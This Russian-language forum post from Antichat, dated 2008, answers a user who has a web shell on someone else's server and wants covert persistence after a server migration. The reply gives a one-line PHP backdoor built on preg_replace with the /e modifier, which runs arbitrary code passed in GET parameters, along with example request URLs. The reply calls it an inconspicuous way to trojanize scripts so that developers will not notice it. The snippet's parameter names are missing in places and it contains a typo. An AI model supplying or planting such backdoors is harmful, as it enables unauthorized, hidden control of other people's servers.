27.08.2008, 23:26
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Сообщение от fervex
Здравствуйте! 
Подскажите, пожалуйста:
в скором времени с сервера, на котором сейчас стоит шелл, все файлы будут переносить на новый сервер, и, вероятно, мой шелл найдут.
Пока есть возможность, хочется незаметно добавить в php-файл акой-нибудь, свой код, чтобы через него можно было залить шелл на новом сервере.
Подскажите, какой код можно добавить в существующий php-файл не очень большого размера (строк 100), чтобы это было как можно меньше заметно разработчикам?
функция system - отключена
Спасибо!
PHP код:
if(isset($_GET) and iseet($_GET)) preg_replace("/55/e",$_GET,$_GET);
И обращайся к серву так:
Код:
script.php?id4=55&act=phpinfo();
script.php?id4=55&act=[PHPCODE]
Сможешь выполнять php код.
Помоему это достаточно компактный и безпалевный вариант троянизации скриптов.
Последний раз редактировалось Grey; 27.08.2008 в 23:30..
|
|
|